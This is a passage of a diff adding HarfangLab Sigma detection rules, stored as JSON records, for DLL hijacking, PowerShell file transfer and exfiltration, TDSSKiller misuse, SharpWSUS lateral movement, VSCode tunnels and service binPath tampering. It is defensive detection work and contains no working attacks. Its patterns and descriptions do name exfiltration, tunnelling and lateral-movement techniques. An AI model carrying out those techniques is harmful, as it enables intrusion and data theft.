filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cee5198e-a01f-4f6e-9fe8-39acefc9b3c1",
+  "rule_name": "DLL Hijacking via LockAppHost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via LockAppHost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cf01efb2-a2c9-4286-ad65-a64a2e04d787",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603819Z",
+  "creation_date": "2026-03-23T11:45:34.603822Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603830Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://csbygb.gitbook.io/pentips/post-exploitation/file-transfers",
+    "https://attack.mitre.org/techniques/T1048/003/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1105_msxml2_http_filetransfer.yml",
+  "content": "title: File Transfered via PowerShell Msxml2\nid: cf01efb2-a2c9-4286-ad65-a64a2e04d787\ndescription: |\n    Detects PowerShell scripts using the Msxml2.XMLHTTP COM Object to downlaod files via HTTP.\n    Attackers may use this COM object to transfer files or tools to the local machine or to exfiltrate data via legitimate looking commands and network traffic.\n    It is recommended to investigate the downloaded files and any programs executed in the context of this alert.\nreferences:\n    - https://csbygb.gitbook.io/pentips/post-exploitation/file-transfers\n    - https://attack.mitre.org/techniques/T1048/003/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2022/08/18\nmodified: 2025/09/17\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.command_and_control\n    - attack.t1105\n    - attack.exfiltration\n    - attack.t1048.003\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - 'com'\n            - 'Msxml2.XMLHTTP'\n            - 'open('\n        ScriptNumberOfLines|lte: 50\n\n    exclusion_fsecure:\n        ProcessImage: '?:\\program files (x86)\\f-secure\\\\*\\wa_3rd_party_host_32.exe'\n\n    exclusion_zimbra:\n        PowershellCommand|contains: 'function zimbra_auth'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cf01efb2-a2c9-4286-ad65-a64a2e04d787",
+  "rule_name": "File Transfered via PowerShell Msxml2",
+  "rule_description": "Detects PowerShell scripts using the Msxml2.XMLHTTP COM Object to downlaod files via HTTP.\nAttackers may use this COM object to transfer files or tools to the local machine or to exfiltrate data via legitimate looking commands and network traffic.\nIt is recommended to investigate the downloaded files and any programs executed in the context of this alert.\n",
+  "rule_creation_date": "2022-08-18",
+  "rule_modified_date": "2025-09-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048.003",
+    "attack.t1059.001",
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cfab5f72-5c39-43bc-a96c-5d5dd2f1e662",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090058Z",
+  "creation_date": "2026-03-23T11:45:34.090060Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090065Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_shutdown.yml",
+  "content": "title: DLL Hijacking via shutdown.exe\nid: cfab5f72-5c39-43bc-a96c-5d5dd2f1e662\ndescription: |\n    Detects potential Windows DLL Hijacking via shutdown.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'shutdown.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\d3d10warp.dll'\n            - '\\SspiCli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cfab5f72-5c39-43bc-a96c-5d5dd2f1e662",
+  "rule_name": "DLL Hijacking via shutdown.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via shutdown.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cfb78c4e-68f4-425b-bc3a-c7b06c5421ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627635Z",
+  "creation_date": "2026-03-23T11:45:34.627637Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627641Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sangfor.com/farsight-labs-threat-intelligence/cybersecurity/lockbit-ransomware-silently-disables-edr-using-tdsskiller",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_tdsskiller.yml",
+  "content": "title: Execution of TDSSKiller\nid: cfb78c4e-68f4-425b-bc3a-c7b06c5421ce\ndescription: |\n    Detects the execution of TDSSKiller, a free tool developed by Kaspersky for the detection and removal of rootkits.\n    This tool is capable of disabling stubborn malicious processes via command prompt execution.\n    LockBit 3.0 Ransomware group is already known to abuse this tool.\n    It is recommended to analyze the host for past malicious activities as well as to investigate the process and user responsible for the installation of the tool to determine whether its usage is legitimate.\nreferences:\n    - https://www.sangfor.com/farsight-labs-threat-intelligence/cybersecurity/lockbit-ransomware-silently-disables-edr-using-tdsskiller\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/07/27\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.TDSSKiller\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Product: 'TDSSKiller'\n        - OriginalFileName: 'TDSSKiller.exe'\n        - InternalName: 'TDSSKiller'\n\n    # This is handled by the rule 4c0aa693-e40f-4aad-8bb5-79144acd7b68\n    filter_option:\n        CommandLine|contains: '-dcsvc'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cfb78c4e-68f4-425b-bc3a-c7b06c5421ce",
+  "rule_name": "Execution of TDSSKiller",
+  "rule_description": "Detects the execution of TDSSKiller, a free tool developed by Kaspersky for the detection and removal of rootkits.\nThis tool is capable of disabling stubborn malicious processes via command prompt execution.\nLockBit 3.0 Ransomware group is already known to abuse this tool.\nIt is recommended to analyze the host for past malicious activities as well as to investigate the process and user responsible for the installation of the tool to determine whether its usage is legitimate.\n",
+  "rule_creation_date": "2023-07-27",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cfb81bd3-0386-43ec-a006-01c3b182a483",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083991Z",
+  "creation_date": "2026-03-23T11:45:34.083993Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083997Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
+    "https://attack.mitre.org/techniques/T1048/"
+  ],
+  "name": "t1048_exfiltration_through_mail_protocol.yml",
+  "content": "title: Data Possibly Exfiltrated via Microsoft Exchange Mail Protocol\nid: cfb81bd3-0386-43ec-a006-01c3b182a483\ndescription: |\n    Detects the creation of suspicious files in the pickup mail folder of a Microsoft Exchange server.\n    This technique can be used by attackers to exfiltrate data from an infected system by using the Exchange mail server and sending data through mail protocols.\n    Turla attacker group has been known to use this technique in relation with their LightNeuron malware.\n    It is recommended to analyze the process responsible for creating the EML file and to determine whether any sensitive data was exfiltrated through the Exchange server.\nreferences:\n    - https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf\n    - https://attack.mitre.org/techniques/T1048/\ndate: 2022/12/15\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1048\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path|endswith: '\\TransportRoles\\PickUp\\msg*.eml'\n\n    condition: selection\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cfb81bd3-0386-43ec-a006-01c3b182a483",
+  "rule_name": "Data Possibly Exfiltrated via Microsoft Exchange Mail Protocol",
+  "rule_description": "Detects the creation of suspicious files in the pickup mail folder of a Microsoft Exchange server.\nThis technique can be used by attackers to exfiltrate data from an infected system by using the Exchange mail server and sending data through mail protocols.\nTurla attacker group has been known to use this technique in relation with their LightNeuron malware.\nIt is recommended to analyze the process responsible for creating the EML file and to determine whether any sensitive data was exfiltrated through the Exchange server.\n",
+  "rule_creation_date": "2022-12-15",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d01d6ee0-cde6-4646-97d2-b11151bc2daf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076841Z",
+  "creation_date": "2026-03-23T11:45:34.076843Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076847Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/nettitude/SharpWSUS",
+    "https://attack.mitre.org/techniques/T1210/"
+  ],
+  "name": "t1210_potential_usage_of_sharpwsus.yml",
+  "content": "title: Possible Lateral Movement via SharpWSUS\nid: d01d6ee0-cde6-4646-97d2-b11151bc2daf\ndescription: |\n    Detects the usage of the SharpWSUS tool for lateral movement using WSUS (Windows Server Update Services).\n    This tool can be used to locate a WSUS server, search for clients and push malicious updates, allowing for remote execution, and therefore lateralization.\n    It is recommended to investigate the context of this action to determine its legitimacy.\nreferences:\n    - https://github.com/nettitude/SharpWSUS\n    - https://attack.mitre.org/techniques/T1210/\ndate: 2022/10/10\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1210\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.SharpWSUS\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\SharpWSUS.exe'\n        - OriginalFileName: 'SharpWSUS.exe'\n\n    selection_create:\n        CommandLine|contains|all:\n            - ' create '\n            - 'payload:'\n            - 'args:'\n\n    selection_approve:\n        CommandLine|contains|all:\n            - ' approve '\n            - 'updateid:'\n            - 'computername:'\n\n    selection_check:\n        CommandLine|contains|all:\n            - ' check '\n            - 'updateid:'\n            - 'computername:'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d01d6ee0-cde6-4646-97d2-b11151bc2daf",
+  "rule_name": "Possible Lateral Movement via SharpWSUS",
+  "rule_description": "Detects the usage of the SharpWSUS tool for lateral movement using WSUS (Windows Server Update Services).\nThis tool can be used to locate a WSUS server, search for clients and push malicious updates, allowing for remote execution, and therefore lateralization.\nIt is recommended to investigate the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2022-10-10",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1210"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d06949e6-3af6-4b5b-8b03-d0c0209f06dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094317Z",
+  "creation_date": "2026-03-23T11:45:34.094319Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094324Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/",
+    "https://ipfyx.fr/post/visual-studio-code-tunnel/",
+    "https://code.visualstudio.com/docs/remote/tunnels",
+    "https://attack.mitre.org/techniques/T1090/"
+  ],
+  "name": "t1090_macos_vscode_tunnel_commandline.yml",
+  "content": "title: VSCode Proxy Tunnel Started via Command-line (macOS)\nid: d06949e6-3af6-4b5b-8b03-d0c0209f06dd\ndescription: |\n    Detects the VSCode binary being used with a command-line indicating a network tunnel.\n    Since July 2023, Microsoft has added a feature that allows users to share their Visual Studio Desktop on the web through its own tunnel.\n    This allows attackers to connect to a remote machine and potentially bypass any network counter-measures.\n    It is recommended to investigate the actions performed in the shell that this tunnel spawns to determine if it is legitimate developer activity.\nreferences:\n    - https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/\n    - https://ipfyx.fr/post/visual-studio-code-tunnel/\n    - https://code.visualstudio.com/docs/remote/tunnels\n    - https://attack.mitre.org/techniques/T1090/\ndate: 2023/09/25\nmodified: 2025/04/01\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1090\n    - attack.t1572\n    - attack.exfiltration\n    - attack.t1567\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Tunneling\n    - classification.macOS.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image|endswith:\n            - '/code'\n            - '/codium'\n        CommandLine|contains: ' tunnel'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d06949e6-3af6-4b5b-8b03-d0c0209f06dd",
+  "rule_name": "VSCode Proxy Tunnel Started via Command-line (macOS)",
+  "rule_description": "Detects the VSCode binary being used with a command-line indicating a network tunnel.\nSince July 2023, Microsoft has added a feature that allows users to share their Visual Studio Desktop on the web through its own tunnel.\nThis allows attackers to connect to a remote machine and potentially bypass any network counter-measures.\nIt is recommended to investigate the actions performed in the shell that this tunnel spawns to determine if it is legitimate developer activity.\n",
+  "rule_creation_date": "2023-09-25",
+  "rule_modified_date": "2025-04-01",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1567",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d06afd6f-9ff1-4858-8887-ff171879096a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074028Z",
+  "creation_date": "2026-03-23T11:45:34.074031Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074035Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/003/",
+    "https://lolbas-project.github.io/lolbas/Binaries/Sc/"
+  ],
+  "name": "t1543_003_modify_service_binpath.yml",
+  "content": "title: Service binPath Modified via sc.exe\nid: d06afd6f-9ff1-4858-8887-ff171879096a\ndescription: |\n    Detects the modification of a service binPath using sc.exe.\n    Adversaries can make changes to a Windows service binPath to point to a malicious payload.\n    The payload is then executed the next time the service is started, achieving persistence and/or privilege escalation.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/003/\n    - https://lolbas-project.github.io/lolbas/Binaries/Sc/\ndate: 2022/11/10\nmodified: 2025/10/07\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1543.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Sc\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'sc.exe'\n        CommandLine|contains: ' config * binPath='\n\n    exclusion_image:\n        - ParentImage:\n            - '?:\\Program Files\\EnergySaver Agent\\EnergyAgentService.exe'\n            - '?:\\Program Files (x86)\\Energy Manager Agent\\EnergyAgentService.exe'\n            - '?:\\Program Files\\AVOB\\Energy Saver Agent\\EnergyAgentService.exe'\n            - '?:\\Program Files (x86)\\AVOB\\Energy Saver Agent\\EnergyAgentService.exe'\n            - '?:\\Program Files\\Microsoft Azure Active Directory Connect\\AzureADConnect.exe'\n            - '?:\\Program Files\\Microsoft Azure Active Directory Connect Upgrader\\Microsoft.Azure.ActiveDirectory.Synchronization.Upgrader.exe'\n            - '?:\\Program Files (x86)\\MAXHUB\\MAXHUB PC Suite\\UPSSetupSetup.exe'\n            - '?:\\Program Files (x86)\\MAXHUB\\MAXHUB PC Suite\\UdiServerSetupSetup.exe'\n            - '?:\\Program Files (x86)\\Pritunl\\pritunl-service.exe'\n            - '?:\\Program Files\\K2\\Setup\\SourceCode.SetupManager.exe'\n            - '?:\\Program Files (x86)\\ECI DCA\\DCA.Edge.Console.exe'\n        - GrandparentImage:\n            - '?:\\ProgramData\\MSPEcosystem\\FileCache\\Upgrade\\Ecosystem.AgentSetup.exe'\n            - '?:\\Program Files\\Ricoh\\RICOH CloudStream Client\\\\*\\cloudstreamclientcore.exe'\n            - '?:\\Program Files (x86)\\Qualcomm\\QIKToolV?\\\\*\\qikv?.exe'\n            - '?:\\Program Files (x86)\\PingPlotter *\\PingPlotter.exe'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '|?:\\Program Files (x86)\\Lansweeper\\AutoUpdate\\Lansweeper.OnPremise.AutoUpdate.exe|'\n            - '|?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pfwsmgr.exe|'\n            - '|?:\\Program Files\\Skyline Communications\\Skyline Taskbar Utility\\SLTaskbarUtility.exe|'\n            - '|?:\\Program Files\\Octopus Deploy\\Tentacle\\Tentacle.exe|'\n            - '|?:\\Program Files\\BMC Software\\BladeLogic\\RSCD\\RSCD.exe|'\n\n    exclusion_brcow:\n        CommandLine: '?:\\WINDOWS\\system32\\sc.exe config BrCow_* start= boot binPath= \\SYSTEMROOT\\SYSTEM32\\DRIVERS\\BrCow_*.sys'\n        ParentImage: '?:\\Windows\\SysWOW64\\msiexec.exe'\n\n    exclusion_cloudflare:\n        CommandLine: 'sc.exe config CloudflareWARP binPath= \"?:\\Program Files\\Cloudflare\\Cloudflare WARP\\warp-svc.exe\"'\n\n    exclusion_3shape:\n        CommandLine: 'SC.exe CONFIG ThreeShape.DataService binPath= ?:\\Program Files\\3Shape\\3Shape Data Service\\ThreeShape.BlueWhale.DataService.exe'\n        ParentImage: '?:\\Windows\\Microsoft.NET\\Framework64\\\\??.?.?????\\InstallUtil.exe'\n\n    exclusion_synapse:\n        CommandLine|contains: 'sc config Fuji* binPath= ?:\\Synapse\\OSD\\AdvancedReporting\\\\*.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d06afd6f-9ff1-4858-8887-ff171879096a",
+  "rule_name": "Service binPath Modified via sc.exe",
